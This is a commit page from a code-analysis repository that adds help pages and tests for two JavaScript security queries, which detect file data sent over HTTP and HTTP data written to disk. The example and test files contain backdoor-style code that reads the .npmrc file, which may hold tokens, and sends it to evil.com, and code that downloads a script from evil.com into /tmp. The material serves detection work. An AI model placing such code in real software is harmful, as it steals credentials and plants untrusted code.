Skip to content

Commit 305b8a6

Browse files
author
Max Schaefer
authored
Merge pull request #620 from xiemaisi/js/qhelp-for-ms-queries
JavaScript: Add query help for two externally contributed queries.
2 parents a8354b9 + a1f210d commit 305b8a6

File tree

10 files changed

+138
-6
lines changed

10 files changed

+138
-6
lines changed

‎javascript/ql/src/Security/CWE-200/FileAccessToHttp.qhelp‎

Lines changed: 37 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,37 @@
1+
<!DOCTYPE qhelp PUBLIC
2+
"-//Semmle//qhelp//EN"
3+
"qhelp.dtd">
4+
<qhelp>
5+
6+
<overview>
7+
<p>
8+
Sending local file system data to a remote URL without further
9+
validation risks uncontrolled information exposure, and may be
10+
an indication of malicious backdoor code that has been
11+
implanted into an otherwise trusted code base.
12+
</p>
13+
</overview>
14+
15+
<recommendation>
16+
<p>
17+
Examine the highlighted code closely to ensure that it is
18+
behaving as intended.
19+
</p>
20+
</recommendation>
21+
22+
<example>
23+
<p>
24+
The following example is adapted from backdoor code that was identified in two
25+
popular npm packages. It reads the contents of the <code>.npmrc</code> file
26+
(which may contain secret npm tokens) and sends it to a remote server by
27+
embedding it into an HTTP request header.
28+
</p>
29+
<sample src="examples/FileAccessToHttp.js"/>
30+
</example>
31+
32+
<references>
33+
<li>ESLint Blog: <a href="https://eslint.org/blog/2018/07/postmortem-for-malicious-package-publishes">Postmortem for Malicious Packages Published on July 12th, 2018</a>.</li>
34+
<li>OWASP: <a href="https://www.owasp.org/index.php/Top_10-2017_A3-Sensitive_Data_Exposure">Sensitive Data Exposure</a>.</li>
35+
<li>OWASP: <a href="https://www.owasp.org/index.php/Trojan_Horse">Trojan Horse</a>.</li>
36+
</references>
37+
</qhelp>

‎javascript/ql/src/Security/CWE-200/examples/FileAccessToHttp.js‎

Lines changed: 10 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,10 @@
1+
var fs = require("fs"),
2+
https = require("https");
3+
4+
var content = fs.readFileSync(".npmrc", "utf8");
5+
https.get({
6+
hostname: "evil.com",
7+
path: "/upload",
8+
method: "GET",
9+
headers: { Referer: content }
10+
}, () => { });

‎javascript/ql/src/Security/CWE-912/HttpToFileAccess.qhelp‎

Lines changed: 43 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,43 @@
1+
<!DOCTYPE qhelp PUBLIC
2+
"-//Semmle//qhelp//EN"
3+
"qhelp.dtd">
4+
<qhelp>
5+
6+
<overview>
7+
<p>
8+
Storing user-controlled data on the local file system without
9+
further validation allows arbitrary file upload, and may be
10+
an indication of malicious backdoor code that has been
11+
implanted into an otherwise trusted code base.
12+
</p>
13+
</overview>
14+
15+
<recommendation>
16+
<p>
17+
Examine the highlighted code closely to ensure that it is
18+
behaving as intended.
19+
</p>
20+
</recommendation>
21+
22+
<example>
23+
<p>
24+
The following example shows backdoor code that downloads data
25+
from the URL <code>https://evil.com/script</code>, and stores
26+
it in the local file <code>/tmp/script</code>.
27+
</p>
28+
29+
<sample src="examples/HttpToFileAccess.js"/>
30+
31+
<p>
32+
Other parts of the program might then assume that since
33+
<code>/tmp/script</code> is a local file its contents can be
34+
trusted, while in fact they are obtained from an untrusted
35+
remote source.
36+
</p>
37+
</example>
38+
39+
<references>
40+
<li>OWASP: <a href="https://www.owasp.org/index.php/Trojan_Horse">Trojan Horse</a>.</li>
41+
<li>OWASP: <a href="https://www.owasp.org/index.php/Unrestricted_File_Upload">Unrestricted File Upload</a>.</li>
42+
</references>
43+
</qhelp>

‎javascript/ql/src/Security/CWE-912/HttpToFileAccess.ql‎

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -6,6 +6,7 @@
66
* @id js/http-to-file-access
77
* @tags security
88
* external/cwe/cwe-912
9+
* external/cwe/cwe-434
910
*/
1011

1112
import javascript

‎javascript/ql/src/Security/CWE-912/examples/HttpToFileAccess.js‎

Lines changed: 8 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,8 @@
1+
var https = require("https");
2+
var fs = require("fs");
3+
4+
https.get('https://evil.com/script', res => {
5+
res.on("data", d => {
6+
fs.writeFileSync("/tmp/script", d)
7+
})
8+
});

‎javascript/ql/test/query-tests/Security/CWE-200/FileAccessToHttp.expected‎

Lines changed: 10 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -1,4 +1,9 @@
11
nodes
2+
| FileAccessToHttp.js:4:5:4:47 | content |
3+
| FileAccessToHttp.js:4:15:4:47 | fs.read ... "utf8") |
4+
| FileAccessToHttp.js:5:11:10:1 | {\\n hos ... ent }\\n} |
5+
| FileAccessToHttp.js:9:12:9:31 | { Referer: content } |
6+
| FileAccessToHttp.js:9:23:9:29 | content |
27
| bufferRead.js:12:13:12:43 | buffer |
38
| bufferRead.js:12:22:12:43 | new Buf ... s.size) |
49
| bufferRead.js:13:53:13:52 | buffer |
@@ -53,6 +58,10 @@ nodes
5358
| sentAsHeaders.js:24:31:24:53 | "http:/ ... content |
5459
| sentAsHeaders.js:24:47:24:53 | content |
5560
edges
61+
| FileAccessToHttp.js:4:5:4:47 | content | FileAccessToHttp.js:9:23:9:29 | content |
62+
| FileAccessToHttp.js:4:15:4:47 | fs.read ... "utf8") | FileAccessToHttp.js:4:5:4:47 | content |
63+
| FileAccessToHttp.js:9:12:9:31 | { Referer: content } | FileAccessToHttp.js:5:11:10:1 | {\\n hos ... ent }\\n} |
64+
| FileAccessToHttp.js:9:23:9:29 | content | FileAccessToHttp.js:9:12:9:31 | { Referer: content } |
5665
| bufferRead.js:12:13:12:43 | buffer | bufferRead.js:13:53:13:52 | buffer |
5766
| bufferRead.js:12:22:12:43 | new Buf ... s.size) | bufferRead.js:12:13:12:43 | buffer |
5867
| bufferRead.js:13:53:13:52 | buffer | bufferRead.js:15:26:15:31 | buffer |
@@ -100,6 +109,7 @@ edges
100109
| sentAsHeaders.js:24:31:24:53 | "http:/ ... content | sentAsHeaders.js:24:20:24:55 | { Refer ... ntent } |
101110
| sentAsHeaders.js:24:47:24:53 | content | sentAsHeaders.js:24:31:24:53 | "http:/ ... content |
102111
#select
112+
| FileAccessToHttp.js:5:11:10:1 | {\\n hos ... ent }\\n} | FileAccessToHttp.js:4:15:4:47 | fs.read ... "utf8") | FileAccessToHttp.js:5:11:10:1 | {\\n hos ... ent }\\n} | $@ flows directly to outbound network request | FileAccessToHttp.js:4:15:4:47 | fs.read ... "utf8") | File data |
103113
| bufferRead.js:33:21:33:28 | postData | bufferRead.js:12:22:12:43 | new Buf ... s.size) | bufferRead.js:33:21:33:28 | postData | $@ flows directly to outbound network request | bufferRead.js:12:22:12:43 | new Buf ... s.size) | File data |
104114
| googlecompiler.js:38:18:38:26 | post_data | googlecompiler.js:44:54:44:57 | data | googlecompiler.js:38:18:38:26 | post_data | $@ flows directly to outbound network request | googlecompiler.js:44:54:44:57 | data | File data |
105115
| readFileSync.js:26:18:26:18 | s | readFileSync.js:5:12:5:39 | fs.read ... t.txt") | readFileSync.js:26:18:26:18 | s | $@ flows directly to outbound network request | readFileSync.js:5:12:5:39 | fs.read ... t.txt") | File data |

‎javascript/ql/test/query-tests/Security/CWE-200/FileAccessToHttp.js‎

Lines changed: 10 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,10 @@
1+
var fs = require("fs"),
2+
https = require("https");
3+
4+
var content = fs.readFileSync(".npmrc", "utf8");
5+
https.get({
6+
hostname: "evil.com",
7+
path: "/upload",
8+
method: "GET",
9+
headers: { Referer: content }
10+
}, () => { });

‎javascript/ql/test/query-tests/Security/CWE-912/HttpToFileAccess.expected‎

Lines changed: 4 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -1,15 +1,19 @@
11
nodes
2+
| HttpToFileAccess.js:5:18:5:18 | d |
3+
| HttpToFileAccess.js:6:37:6:37 | d |
24
| tst.js:15:26:15:26 | c |
35
| tst.js:16:33:16:33 | c |
46
| tst.js:19:25:19:25 | c |
57
| tst.js:23:27:23:26 | c |
68
| tst.js:24:22:24:22 | c |
79
edges
10+
| HttpToFileAccess.js:5:18:5:18 | d | HttpToFileAccess.js:6:37:6:37 | d |
811
| tst.js:15:26:15:26 | c | tst.js:16:33:16:33 | c |
912
| tst.js:15:26:15:26 | c | tst.js:19:25:19:25 | c |
1013
| tst.js:15:26:15:26 | c | tst.js:23:27:23:26 | c |
1114
| tst.js:23:27:23:26 | c | tst.js:24:22:24:22 | c |
1215
#select
16+
| HttpToFileAccess.js:6:37:6:37 | d | HttpToFileAccess.js:5:18:5:18 | d | HttpToFileAccess.js:6:37:6:37 | d | $@ flows to file system | HttpToFileAccess.js:5:18:5:18 | d | Untrusted data |
1317
| tst.js:16:33:16:33 | c | tst.js:15:26:15:26 | c | tst.js:16:33:16:33 | c | $@ flows to file system | tst.js:15:26:15:26 | c | Untrusted data |
1418
| tst.js:19:25:19:25 | c | tst.js:15:26:15:26 | c | tst.js:19:25:19:25 | c | $@ flows to file system | tst.js:15:26:15:26 | c | Untrusted data |
1519
| tst.js:24:22:24:22 | c | tst.js:15:26:15:26 | c | tst.js:24:22:24:22 | c | $@ flows to file system | tst.js:15:26:15:26 | c | Untrusted data |

‎javascript/ql/test/query-tests/Security/CWE-912/HttpToFileAccess.js‎

Lines changed: 8 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,8 @@
1+
var https = require("https");
2+
var fs = require("fs");
3+
4+
https.get('https://evil.com/script', res => {
5+
res.on("data", d => {
6+
fs.writeFileSync("/tmp/script", d)
7+
});
8+
});

‎javascript/ql/test/query-tests/Security/CWE-912/fs-writeFile-externs.js‎

Lines changed: 7 additions & 6 deletions
Original file line numberDiff line numberDiff line change
@@ -35,7 +35,7 @@
3535
* @externs
3636
* @fileoverview Definitions for module "fs"
3737
*/
38-
var fs = {};
38+
var fs = {};
3939

4040
/**
4141
* @param {string} filename
@@ -44,19 +44,20 @@
4444
* @return {void}
4545
*/
4646
fs.writeFile = function(filename, data, callback) {};
47-
/**
47+
48+
/**
4849
* @param {string} filename
4950
* @param {*} data
5051
* @param {{encoding: string, mode: number, flag: string}} options
5152
* @param {(function(NodeJS.ErrnoException): void)=} callback
5253
* @return {void}
5354
*/
5455
fs.writeFile = function(filename, data, options, callback) {};
55-
/**
56+
57+
/**
5658
* @param {string} filename
5759
* @param {*} data
58-
* @param {{encoding: string, mode: string, flag: string}} options
59-
* @param {(function(NodeJS.ErrnoException): void)=} callback
60+
* @param {{encoding: string, mode: string, flag: string}=} options
6061
* @return {void}
6162
*/
62-
fs.writeFile = function(filename, data, options, callback) {};
63+
fs.writeFileSync = function(filename, data, options) {};

0 commit comments

Comments
 (0)